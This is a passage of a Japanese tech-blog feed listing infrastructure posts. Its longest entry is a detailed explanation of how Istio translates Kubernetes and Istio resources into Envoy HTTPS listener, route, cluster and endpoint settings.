をインストールしていると","link":"https://blog.1q77.com/2024/01/install-docker-plugins-on-mac/","isoDate":"2024-01-26T12:36:56.000Z","dateMiliSeconds":1706272616000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Google Cloudコスト増減の定期監視とアドバイスを行うCostChecker-Agentの紹介","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 この記事では、” […]The post Google Cloudコスト増減の定期監視とアドバイスを行うCostChecker-Agentの紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-cost-checker-agent/","isoDate":"2024-01-25T02:17:39.000Z","dateMiliSeconds":1706149059000,"authorName":"Sreake","authorId":"Sreake"},{"title":"限定公開のGKE上でセキュアなGithub Actionsのrunnerを構築","contentSnippet":"モチベーションGithub Actionsのセルフホストランナーでは、long pollingによりrunner側でingressのfirewallを設定せずにrunnerをデプロイ出来るというのを最近知ったので、GKEで検証していこうと思います。 構成ざっくりですがこんな感じ。GKEは限定公開のクラスタとして構築し、踏み台サーバからGKEにリクエストを送ります。Github Actionsとの通信のためにVPCにはCloud NATをアタッチします。 前提条件terraformで構築するため、予めインストールしておくこと。(検証はv1.0.0) 構築手順...","link":"https://zenn.dev/kojake_300/articles/7be501d3fc4e72","isoDate":"2024-01-24T11:08:37.000Z","dateMiliSeconds":1706094517000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"K8sGPT: Prometheus Analyzers","contentSnippet":"v0.3.26 からPrometheus の Analyzer がリリースされましたデモ映像はこちらhttps://github.com/k8sgpt-ai/k8sgpt/pull/855本PR作成者の Daniel Clark さんは Google の方 (2024/01/18時点)で,prometheus-engine (Cloud Managed Service for Prometheus (GMP)) に多くのコントリビューションをされています. 先にまとめPrometheus Analyzer には現在二つの機能が含まれるConfig Analyzer ...","link":"https://zenn.dev/tozastation/articles/71015cc5b95b4e","isoDate":"2024-01-23T03:00:00.000Z","dateMiliSeconds":1705978800000,"authorName":"tozastation","authorId":"tozastation"},{"title":"openssl s_client で SMTP 認証","contentSnippet":"Amazon SES で SMTP を使ってメール送信したい場合、IAM User の credentials をちょいと加工してやる必要があります。 Amazon SES SMTP 認証情報を取得 これで、変換した値が正しいことを","link":"https://blog.1q77.com/2024/01/smtp-auth-plain-with-openssl-command/","isoDate":"2024-01-23T02:44:23.000Z","dateMiliSeconds":1705977863000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"dockerで行う12ステップで作る組込みOS自作入門","contentSnippet":"はじめに冬休みに12ステップで作る 組込みOS自作入門を完走したをkozosを完走しました。そのときの備忘録になります。12STEPの各内容は以下のようになっています。第1部 ブート・ローダーの作成1stステップ 開発環境の作成2ndステップ シリアル通信3rdステップ 静的変数の読み書き4thステップ シリアル経由でファイルを転送する5thステップ ELFフォーマットの展開6thステップ もう一度,Hello World第2部 OSの作成7thステップ 割込み処理を実装する8thステップ スレッドを実装する9thステップ 優先度スケジューリング...","link":"https://zenn.dev/satoken/articles/kozos-step-by-step","isoDate":"2024-01-21T13:10:45.000Z","dateMiliSeconds":1705842645000,"authorName":"satoken","authorId":"satoken"},{"title":"PR-Agentとその類似システムの解説","contentSnippet":"はじめに Sreake事業部でインターンをしている村山です。そのようなコードレビューの作業に対し、今日ではLLMを使用したレビュー用のツールが開発されています。今回はそのレビューツールの一つであるPR-Agentを中心に […]The post PR-Agentとその類似システムの解説 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pr-agent-and-similar-systems/","isoDate":"2024-01-18T09:38:27.000Z","dateMiliSeconds":1705570707000,"authorName":"Sreake","authorId":"Sreake"},{"title":"【Istio⛵️】Istioによって抽象化されるEnvoyのHTTPSリクエスト処理の仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Istioのサイドカーメッシュを題材にしたEnvoyの設定の抽象化について様々なサービスメッシュツール (特に、Istio、Consul、Ciliumなど) でも流用できるEnvoyの知識についてこの記事から得られる知識01. はじめに02. 様々なリソースによるEnvoy設定の抽象化サービスメッシュ外からのHTTPSマイクロサービス間のHTTPSサービスメッシュ外へのHTTPS03. istio-proxyコンテナによるHTTPS処理Istioコントロールプレーンの仕組みサービスメッシュ外からのHTTPSマイクロサービス間のHTTPSサービスメッシュ外へのHTTPS04. EnvoyによるHTTPS処理Envoyの設定の種類フィルターフィルターの一覧フィルターチェーンの仕組み05. リソースの設定からEnvoy設定への翻訳各リソースとEnvoyの設定の関係一覧サービスメッシュ外からのHTTPSEnvoyの設定を抽象化するリソース一覧リソースとEnvoyの設定の対応関係istio-proxyコンテナ内のEnvoyに当てはめるマイクロサービス間のHTTPSEnvoyの設定を抽象化するリソース一覧リソースとEnvoyの設定の対応関係istio-proxyコンテナ内のEnvoyに当てはめるサービスメッシュ外へのHTTPSEnvoyの設定を抽象化するリソース一覧リソースとEnvoyの設定の対応関係istio-proxyコンテナ内のEnvoyに当てはめる06. 翻訳されたEnvoy設定値を見てみるEnvoyの現在の設定を出力するリスナーを出力するルートを出力するクラスターを出力するエンドポイントを出力する証明書を出力するサービスメッシュ外からのHTTPS送信元Pod側のistio-proxyコンテナ宛先Pod側のistio-proxyコンテナマイクロサービス間のHTTPS送信元Pod側のistio-proxyコンテナ宛先Pod側のistio-proxyコンテナサービスメッシュ外へのHTTPS送信元Pod側のistio-proxyコンテナ宛先Pod (Istio EgressGateway Pod) 側のistio-proxyコンテナ07. おわりに謝辞記事関連のおすすめ書籍01. はじめにどうも、俺 (REMIX) feat. Istioニキ a.k.a. いすてぃ男です。Istioは、Envoyを使用したサービスメッシュを実装します。IstioがKubernetesリソースやIstioカスタムリソースに基づいてEnvoyの設定を抽象化してくれるため、開発者はEnvoyをより簡単に設定できます。Envoyの設定の抽象化は、Envoyを使用したサービスメッシュ (例:Istioサイドカーメッシュ/アンビエントメッシュ、Consul、Istioから得られた学びを土台に登場したCiliumサイドカーフリーメッシュなど) に共通しています。つまり、次々に登場するEnvoyによるサービスメッシュツールに振り回されないようにするためには、ツールがどのようにEnvoyを抽象化するのかを理解しておく必要があります。そこで今回は、IstioサイドカーメッシュがEnvoyのHTTPSリクエストの処理をどのように抽象化するのかを解説します。また、抽象化されたEnvoyがHTTPSリクエストを処理する仕組みも一緒に解説します。これらの知識は、様々なサービスメッシュツールで流用できるはずです。それでは、もりもり布教していきます\uD83D\uDE1702. 様々なリソースによるEnvoy設定の抽象化まずは、どのようなリソースがHTTPSリクエストの処理に関係しているのかを、HTTPSリクエストの方向に分けて解説していきます。istio-proxyコンテナやEnvoyについては、次章以降で解説します。サービスメッシュ外からのHTTPSサービスメッシュ外から内にHTTPSリクエストを送信する場合、リソースが以下の順で紐付き、Envoyの設定を抽象化します。flowchart TD 送信元 -.->|HTTPS| Gateway Gateway([⛵️ Gateway]) -.-> VirtualService VirtualService([⛵️ VirtualService]) -.-> DestinationRule DestinationRule([⛵️ DestinationRule]) -.-> Service Service([☸️ Service]) -.-> Endpoints Endpoints([☸️ Endpoints]) -.->|HTTPS| 宛先 classDef sly fill: #CCFFFF, stroke: black; class 送信元 sly classDef yellow fill: #FFFF88, stroke: black; class 宛先 yellow classDef blue fill: #326CE5, color: white, stroke: black; class Gateway,VirtualService,DestinationRule,Service,Endpoints blue各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。クライアントは、サービスメッシュ外からL7ロードバランサーにHTTPSリクエストを送信します。L7ロードバランサーは、Istio IngressGateway PodにHTTPSリクエストを送信します。もちろん、クラスター外からIstio IngressGateway PodにHTTPリクエストを送信するために、Service (例:NodePort Service) が必要です。Istio IngressGateway Podは、宛先Podとの間で相互TLS認証を実施します。Istio IngressGateway Podは、Kubernetesリソース (Service、Endpoints) やIstioカスタムリソース (VirtualService、DestinationRule) に応じて、HTTPSリクエストを宛先PodにL7ロードバランシングします。Istio Ingress vs. Kubernetes Ingress – Daniel Watrous on Software and Cloud Engineeringマイクロサービス間のHTTPSサービスメッシュ内のPodから別のPodにHTTPSリクエストを送信する場合、リソースが以下の順で紐付き、Envoyの設定を抽象化します。flowchart TD 送信元 -.->|HTTPS| VirtualService VirtualService([⛵️ VirtualService]) -.-> DestinationRule DestinationRule([⛵️ DestinationRule]) -.-> Service Service([☸️ Service]) -.-> Endpoints Endpoints([☸️ Endpoints]) -.->|HTTPS| 宛先 classDef sly fill: #CCFFFF, stroke: black; class 送信元 sly classDef yellow fill: #FFFF88, stroke: black; class 宛先 yellow classDef blue fill: #326CE5, color: white, stroke: black; class VirtualService,DestinationRule,Service,Endpoints blue各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。送信元Podは、宛先Podとの間で相互TLS認証を実施します。送信元Podは、Kubernetesリソース (Service、Endpoints) やIstioカスタムリソース (VirtualService、DestinationRule) の設定に応じて、HTTPSリクエストを宛先PodにL7ロードバランシングします。Istio流量管理实现机制深度解析-赵化冰的博客 | Zhaohuabing Blog▶︎ サービスメッシュ内のPod間通信にkube-proxyは必要なのかistio-initコンテナは、istio-iptablesコマンドを実行し、iptablesのルールを書き換えます (本記事3章参照) 。これにより、送信元Podから宛先Podに直接通信できるようになります。Tracing network path in Istio. Istio is among the most widely used… | by Bikram Gupta | Mediumサービスメッシュ外へのHTTPSサービスメッシュ内のPodから外のシステム (例:データベース、ドメインレイヤー委譲先の外部API) にHTTPSリクエストを送信する場合、リソースが以下の順で紐付き、Envoyの設定を抽象化します。複数のVirtualServiceとDestinationが登場するため、これらには便宜上 X と Y をつけています。flowchart TD 送信元 -.->|HTTPS| VirtualServiceX VirtualServiceX([⛵️ VirtualService X]) -.-> DestinationRuleX DestinationRuleX([⛵️ DestinationRule X]) -.-> Service Service([☸️ Service]) -.-> Endpoints Endpoints([☸️ Endpoints]) -.-> Gateway Gateway([⛵️ Gateway]) -.-> VirtualServiceY VirtualServiceY([⛵️ VirtualService Y]) -.-> DestinationRuleY DestinationRuleY([⛵️ DestinationRule Y]) -.-> ServiceEntry ServiceEntry([⛵️ ServiceEntry]) -.->|HTTPS| 宛先 classDef sly fill: #CCFFFF, stroke: black; class 送信元 sly classDef yellow fill: #FFFF88, stroke: black; class 宛先 yellow classDef blue fill: #326CE5, color: white, stroke: black; class Gateway,VirtualServiceX,VirtualServiceY,DestinationRuleX,DestinationRuleY,Service,Endpoints,ServiceEntry blue各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。送信元Podは、HTTPSリクエストの宛先がServiceEntryでエントリ済みか否かの設定に応じて、HTTPSリクエストの宛先を切り替えます。宛先がエントリ済みであれば、送信元PodはHTTPSリクエストの宛先にIstio EgressGateway Podを選択します。宛先が未エントリであれば、送信元PodはHTTPSリクエストの宛先に外のシステムを選択します。送信元Podは、Istio EgressGateway Podとの間で相互TLS認証を実施します。(1) で宛先がエントリ済であったとします。送信元Podは、HTTPSリクエストの向き先をIstio EgressGateway Podに変更します。送信元Podは、Kubernetesリソース (Service、Endpoints) やIstioカスタムリソース (VirtualService、DestinationRule) の設定に応じて、Istio EgressGateway PodにL7ロードバランシングします。Istio EgressGateway Podは、HTTPSリクエストをエントリ済システムにL7ロードバランシングします。Using Istio to MITM our users’ traffic | Steven ReitsmaIngress, egress, ServiceEntry DATA Flow issues for ISTIO API Gateway? - Discuss Istio▶︎ Istio EgressGatewayの必要性についてistio-proxyコンテナを経由せずに外部システムに直接HTTPSリクエストを送信できるようになってしまい、システムの安全性が低くなります。他に、サービスメッシュ外への特定の通信を識別できるようになるメリットもあります。Istio / Accessing External ServicesIstioldie 1.10 / Egress Gateway Performance Investigation03. istio-proxyコンテナによるHTTPS処理前章では、KubernetesリソースやIstioカスタムリソースによって抽象化されたEnvoyまで言及しませんでした。本章では、解説をもう少し具体化します。Istioは、Envoyプロセスを持つistio-proxyコンテナを作成します。このistio-proxyコンテナを使用してどのようにHTTPSリクエストを処理しているのかを、HTTPSリクエストの方向に分けて解説します。Envoyの設定については、次章以降で解説します。Istioコントロールプレーンの仕組みEnvoyの設定を抽象化する責務を担うのは、Istioコントロールプレーン (discoveryコンテナ) です。Istioコントロールプレーンは異なる責務を担う複数のレイヤーから構成されています。レイヤー名 責務 Config ingestionレイヤー kube-apiserverからKubernetesリソースやIstioカスタムリソースの設定を取得します。Istioの初期から名前は変わっていません。 Config translationレイヤー リソースの設定をEnvoy設定に変換します。Istioの初期ではConfig Data Modelレイヤーという名前で、執筆時点 (2024/01/16) で名前が変わっています。 Config servingレイヤー Envoyの設定や証明書をPod内のistio-proxyコンテナに配布します。Istioの初期では、Proxy Servingレイヤーという名前で、執筆時点 (2024/01/16) で名前が変わっています。 図中の番号に沿って、Istioコントロールプレーンの仕組みを解説します。Config ingestionレイヤーにて、 Istioコントロールプレーンはkube-apiserverにHTTPSリクエストを送信します。ここで、KubernetesリソースやIstioカスタムリソースの設定を取得します。Config translationレイヤーにて、取得したリソースの設定をEnvoyの設定に変換します。Config servingレイヤーにて、Envoyの設定や証明書をPod内のistio-proxyコンテナに配布します。双方向ストリーミングRPCのため、istio-proxyコンテナがConfig servingレイヤーにリクエストを送信し、これらを取得することもあります。istio/architecture/networking/pilot.md at 1.20.2 \xb7 istio/istio \xb7 GitHub一文带你彻底厘清 Isito 中的证书工作机制-赵化冰的博客 | Zhaohuabing Blog▶︎ Config servingレイヤーにあるXDS-APIについて▶︎ Istioカスタムリソースのコントローラーについてistio/architecture/networking/pilot.md at 1.20.2 \xb7 istio/istio \xb7 GitHubサービスメッシュ外からのHTTPSサービスメッシュ外から内にHTTPSリクエストを送信する場合のistio-proxyコンテナです。各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。Istioコントロールプレーンは、翻訳されたEnvoyの設定をPod内のistio-proxyコンテナに提供します。クライアントは、サービスメッシュ外からL7ロードバランサーにHTTPSリクエストを送信します。L7ロードバランサーは、Istio IngressGateway PodにHTTPSリクエストを送信します。もちろん、クラスター外からIstio IngressGateway PodにHTTPリクエストを送信するために、Service (例:NodePort Service) が必要です。Istio IngressGateway Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナに送信します (リダイレクトは不要)。Istio IngressGateway Pod内のistio-proxyコンテナは、宛先Podを決定し、またこのPodに対して相互TLS認証を実施します。Istio IngressGateway Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。宛先Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先マイクロサービスに送信します。Istio Ingress vs. Kubernetes Ingress – Daniel Watrous on Software and Cloud Engineering▶︎ Pod内のiptablesについてistio-proxyコンテナを経由するように、istio-proxyコンテナにリクエストをリダイレクトします。iptablesのルールを書き換えるのはistio-initコンテナです。Istioは、istio-proxyコンテナと同じタイミングで、istio-initコンテナをPodにインジェクションします (Istio IngressGatewayとIstio EgressGatewayのPodは除きます)。画像引用元:SoByteistio-initコンテナは、istio-iptablesコマンドを実行し、iptablesのルールを書き換えます。また、istio-initコンテナはルールを書き換えた後に終了するため、Podの起動後にPod内に残りません\uD83D\uDC4D\uD83C\uDFFB$ istio-iptables \\\\ -p 15001 \\\\ -z 15006 \\\\ -u 1337 \\\\ -m REDIRECT \\\\ -i * \\\\ -x \\\\ -b * \\\\ -d 15090,15020Sidecar injection, transparent traffic hijacking, and routing process in Istio explained in detail | by Jimmy Song | MediumIstio / pilot-agent▶︎ Istio IngressGateway Pod内のiptablesについてistio-proxyコンテナにリクエストをリダイレクトする必要がありません。そのため、Istioはiptablesのルールを書き換えるistio-initコンテナをIstio IngressGateway Podにインジェクションしません。つまり、Istio IngressGateway Pod内のiptablesのルールはデフォルトのままになっています\uD83D\uDC4D\uD83C\uDFFBマイクロサービス間のHTTPSサービスメッシュ内のPodから別のPodにHTTPSリクエストを送信する場合のistio-proxyコンテナです。各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。Istioコントロールプレーンは、翻訳されたEnvoyの設定をPod内のistio-proxyコンテナに提供します。送信元Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。送信元Pod内のistio-proxyコンテナは、宛先Podを決定し、またこのPodに対して相互TLS認証を実施します。送信元Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。宛先Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先マイクロサービスに送信します。Istio流量管理实现机制深度解析-赵化冰的博客 | Zhaohuabing Blogサービスメッシュ外へのHTTPSサービスメッシュ内のPodから外のシステム (例:データベース、ドメインレイヤー委譲先の外部API) にHTTPSリクエストを送信する場合のistio-proxyコンテナです。各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。Istioコントロールプレーンは、翻訳されたEnvoyの設定をPod内のistio-proxyコンテナに提供します。送信元Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。送信元Pod内のistio-proxyコンテナは、宛先Podを決定し、またこのPodに対して相互TLS認証を実施します。この時、ServiceEntryで宛先がエントリ済みか否かに応じて、HTTPSリクエストの宛先を切り替えます。宛先がエントリ済みであれば、istio-proxyコンテナはHTTPSリクエストの宛先にIstio EgressGateway Podを選択します。宛先が未エントリであれば、istio-proxyコンテナはHTTPSリクエストの宛先に外のシステムを選択します。ここでは、宛先がエントリ済であったとします。送信元Pod内のistio-proxyコンテナは、HTTPSリクエストをIstio EgressGateway PodにL7ロードバランシングします。Istio EgressGateway Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナに送信します (リダイレクトは不要)。Istio EgressGateway Pod内のistio-proxyコンテナは、HTTPSリクエストをエントリ済システムにL7ロードバランシングします。▶︎ Istio EgressGateway Pod内のiptablesについてistio-proxyコンテナにリクエストをリダイレクトする必要がありません。そのため、Istioはiptablesのルールを書き換えるistio-initコンテナをIstio EgressGateway Podにインジェクションしません。つまり、Istio EgressGateway Pod内のiptablesのルールはデフォルトのままになっています\uD83D\uDC4D\uD83C\uDFFBUsing Istio to MITM our users’ traffic | Steven ReitsmaIngress, egress, ServiceEntry DATA Flow issues for ISTIO API Gateway? - Discuss Istio04. EnvoyによるHTTPS処理前章では、istio-proxyコンテナ内のEnvoyの設定まで、言及しませんでした。本章では、もっと具体化します。EnvoyがHTTPSリクエストを処理する仕組みを解説します。Envoyの設定の種類HTTPSリクエストを処理する場合、Envoyの設定が以下の順で紐付き、HTTPSリクエストを送信元から宛先まで届けます。flowchart TD 送信元 -.->|HTTPS| リスナー リスナー(リスナー) -.-> リスナーフィルター subgraph \\"\\" リスナーフィルター(リスナーフィルター) -.-> ネットワークフィルター ネットワークフィルター(ネットワークフィルター) -.-> HTTPフィルター end HTTPフィルター(HTTPフィルター) -.-> ルート ルート(ルート) -.-> クラスター クラスター(クラスター) -.-> エンドポイント エンドポイント(エンドポイント) -.->|HTTPS| 宛先classDef sly fill: #CCFFFF, stroke: black;class 送信元 slyclassDef yellow fill: #FFFF88, stroke: black;class 宛先 yellowclassDef red fill: #EA6B66, font-weight :bold, stroke: black;class リスナー,リスナーフィルター,ネットワークフィルター,HTTPフィルター,ルート,クラスター,エンドポイント red各処理がどのような責務を担っているのかをもう少し詳しく見てみましょう。図中の番号に沿って、EnvoyがHTTPSリクエストを処理する仕組みを解説します。送信元からのHTTPSリクエストの宛先ポートで、リスナーを絞り込みます。通信の種類 (例:HTTP、HTTPS、TCP、UDP、Unixドメインソケットなど) に応じてフィルターを選び、各フィルターがパケットのヘッダーを処理します。もしHTTPSであれば、送信元との間でTLS接続を確立し、パケットのL7のアプリケーションデータを復号化します。フィルターを使用して、HTTPSリクエストの宛先ポートで、ルートを絞り込みます。フィルターを使用して、HTTPSリクエストの宛先ホストやパスで、クラスターを絞り込みます。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、クラスター配下のエンドポイントを選びます。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、エンドポイントにL7ロードバランシングします。Life of a Request — envoy 1.33.0-dev-8fd5cc documentation▶ TCPリクエストを処理する場合についてflowchart TD 送信元 -.->|TCP| リスナー リスナー(リスナー) -.-> リスナーフィルター subgraph \\"\\" リスナーフィルター(リスナーフィルター) -.-> ネットワークフィルター end ネットワークフィルター(ネットワークフィルター) -.-> クラスター クラスター(クラスター) -.-> エンドポイント エンドポイント(エンドポイント) -.->|TCP| 宛先classDef sly fill: #CCFFFF, stroke: black;class 送信元 slyclassDef yellow fill: #FFFF88, stroke: black;class 宛先 yellowclassDef red fill: #EA6B66, font-weight :bold, stroke: black;class リスナー,リスナーフィルター,ネットワークフィルター,クラスター,エンドポイント redDebugging Your Debugging Tools: What to do When Your Service Mesh Goes Down | PPTフィルターフィルターの一覧Envoyのフィルターは、Envoyの機能を拡張するための設定です。HTTPSリクエストを処理するためには、リスナーフィルター、ネットワークフィルター、HTTPフィルター、といったフィルターが必要になります。全ては解説しきれないため、HTTPSリクエストを処理するための代表的なフィルターをいくつか抜粋しました。ただ、 Istioはこれらのフィルターをデフォルトで有効にしてくれている ため、開発者がEnvoyのフィルターを設定する場面は少ないです。逆をいえば、Istioを介さずにEnvoyをそのまま使用する場合、開発者がEnvoyのフィルターを自前で設定する必要があります\uD83D\uDC4D\uD83C\uDFFBフィルターの種類 HTTPSリクエストの処理に必要なフィルター(一部抜粋) 説明 リスナーフィルター Original Destination istio-proxyコンテナへのリダイレクト前の宛先情報をEnvoyが取得できるようにします。Pod内のiptablesがHTTPSリクエストをistio-proxyコンテナにリダイレクトすると、HTTPSリクエストの宛先がistio-proxyコンテナに変わってしまいます。ただし、iptablesはリダイレクト前の宛先をカーネル上のSO_ORIGINAL_DSTという定数に格納してくれています。Envoyは、カーネル上のSO_ORIGINAL_DSTから本来の宛先を取得し、プロキシします。 HTTP Inspector EnvoyがHTTPを検知できるようにします。 TLS Inspector EnvoyがTLSを検知できるようにします。TLSを検知した場合、EnvoyはTLSに関する処理を実行します。例えば、DownstreamTlsContextは、リスナーフィルター直後に、送信元との間でTLS接続を確立し、パケットのL7のアプリケーションデータを復号化します。また、UpstreamTlsContextは、クラスターの処理時に、宛先との間でTLS接続を確立し、L7のアプリケーションデータを暗号化します。 ネットワークフィルター HTTP connection manager Envoyが、L7のアプリケーションデータを読み取り、また後続のHTTPフィルターを制御できるようにします。 HTTPフィルター Router Envoyがポート番号でルート、ホストやパスでクラスターを絞り込めるようにします。 gRPC-Web EnvoyがHTTP/1.1で受信したHTTPSリクエストをHTTP/2に変換し、gRPCサーバーにプロキシできるようにします。 Filters — envoy 1.33.0-dev-8fd5cc documentation▶︎ Istioがデフォルトで有効にするEnvoyの設定についてistio-proxyコンテナは、イメージのビルド時に、あらかじめ用意しておいたEnvoyの設定ファイルを組み込みます。そのため、istio-proxyコンテナ内のEnvoyは、多くの設定をデフォルトで有効にできます。Istioを利用する開発者が、EnvoyがHTTPSリクエストを処理するために必要なフィルターを有効にしなくてよいのも、Istioのおかげです。Istioほんまにありがとな\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F istio/pilot/docker/Dockerfile.proxyv2 at 1.20.2 \xb7 istio/istio \xb7 GitHubistio/tools/packaging/common/envoy_bootstrap.json at 1.20.2 \xb7 istio/istio \xb7 GitHubフィルターチェーンの仕組みEnvoyは、複数のフィルターからなるフィルターチェーンを実行し、HTTPSを処理します。図中の番号に沿って、Envoyのフィルターチェーンの仕組みを解説します。各フィルターの機能は、前述したフィルターの一覧を参考にしてください\uD83D\uDE47\uD83C\uDFFBリスナーフィルター (Original Destination、HTTP Inspector、TLS Inspectorなど) を実行します。(1) でTLS InspectorがTLSを検知した場合、DownstreamTlsContextで宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。ネットワークフィルター (HTTP connection managerなど) を実行します。HTTPフィルター (Router、gRPC-Webなど) を実行します。Life of a Request — envoy 1.33.0-dev-8fd5cc documentation▶ TCPリクエストを処理する場合についてTCP proxy — envoy 1.33.0-dev-8fd5cc documentation05. リソースの設定からEnvoy設定への翻訳いよいよです\uD83D\uDD25Istioが各リソースをいずれのEnvoyの設定に翻訳しているのかを解説します。表で対応関係の一覧を示した後、istio-proxyコンテナ内のEnvoyに当てはめました。各リソースとEnvoyの設定の関係一覧Istioコントロールプレーンは、KubernetesリソースやIstioカスタムリソースの設定をEnvoyの設定に翻訳し、処理の流れに当てはめます。以下の通り、各リソースがいずれのEnvoyの設定を抽象化するのかを整理しました。リソースによっては、Envoyの複数の設定を抽象化します。なお、Istioの用意したEnvoyのフィルターのデフォルト値を変更するユースケースが少ないため、これを抽象化するEnvoyFilterについては言及しません。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ ✅ エンドポイント ✅ ✅ ✅ Debugging Your Debugging Tools: What to do When Your Service Mesh Goes Down | PPT- YouTubeサービスメッシュ外からのHTTPSEnvoyの設定を抽象化するリソース一覧サービスメッシュ外からのHTTPSリクエストを処理する場合に関係するリソースを抜粋しました。Gatewayは、Istio IngressGatewayの一部として使用します。ServiceEntryは、使用しないリソースのため、\xd7としています。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ ✅ ✅ \xd7 ✅ ルート ✅ ✅ \xd7 クラスター ✅ ✅ \xd7 ✅ エンドポイント ✅ ✅ \xd7 リソースとEnvoyの設定の対応関係送信元または宛先Envoyに分けると、各リソースは以下のようにEnvoyの設定を抽象化します。話を簡単にするために、送信元と宛先は同じNamespaceにあると仮定します。送信元EnvoyでHTTPSリクエストの宛先を決める設定、または宛先EnvoyでHTTPSリクエストを受信する設定を、同じリソースが抽象化します。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule PeerAuthentication 送信元 リスナー ✅ ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ 宛先 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ ▶︎ 送信元と宛先のNamespaceについてistio-ingress) においた方が良いです。マイクロサービスとは異なるNamespaceにIstio IngressGatewayを置くことで、Istio IngressGatewayをアップグレードしやすくなったり、他から障害の影響を受けにくくなります\uD83D\uDE46\uD83C\uDFFB‍♂️istio-proxyコンテナ内のEnvoyに当てはめるこの表を、HTTPSリクエストの仕組みの中に当てはめると、以下になります。引用した前述の解説のイメージが掴めるかと思います。送信元または宛先Envoyでほとんど同じリソースが登場しますが、 Gatewayは送信元Envoyだけで登場します。リソースの種類だけに着目すると、以下になります。Gatewayが送信元Envoyだけで登場することがわかりやすくなりました。マイクロサービス間のHTTPSEnvoyの設定を抽象化するリソース一覧サービスメッシュ内のPodから別のPodへのHTTPSリクエストを処理する場合に関係するリソースを抜粋しました。GatewayとServiceEntryは、使用しないリソースのため、\xd7としています。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ \xd7 ✅ \xd7 ✅ ルート ✅ \xd7 ✅ \xd7 クラスター ✅ \xd7 ✅ \xd7 ✅ エンドポイント ✅ \xd7 ✅ \xd7 リソースとEnvoyの設定の対応関係送信元または宛先Envoyに分けると、各リソースは以下のようにEnvoyの設定を抽象化します。話を簡単にするために、送信元と宛先は同じNamespaceにあると仮定します。送信元EnvoyでHTTPSリクエストの宛先を決める設定、または宛先EnvoyでHTTPSリクエストを受信する設定を、同じリソースが抽象化します。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints VirtualService DestinationRule PeerAuthentication 送信元 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ 宛先 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ istio-proxyコンテナ内のEnvoyに当てはめるこの表を、HTTPSリクエストの仕組みの中に当てはめると、以下になります。引用した前述の解説のイメージが掴めるかと思います。送信元または宛先Envoyで、同じリソースが登場します。リソースの種類だけに着目すると、以下になります。送信元または宛先Envoyで同じリソースが登場することがわかりやすくなりました。サービスメッシュ外へのHTTPSEnvoyの設定を抽象化するリソース一覧サービスメッシュ内のPodから外のシステム (例:データベース、ドメインレイヤー委譲先の外部API) へのHTTPSリクエストを処理する場合に関係するリソースを抜粋しました。Gatewayは、Istio EgressGatewayの一部として使用します。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ ✅ エンドポイント ✅ ✅ ✅ 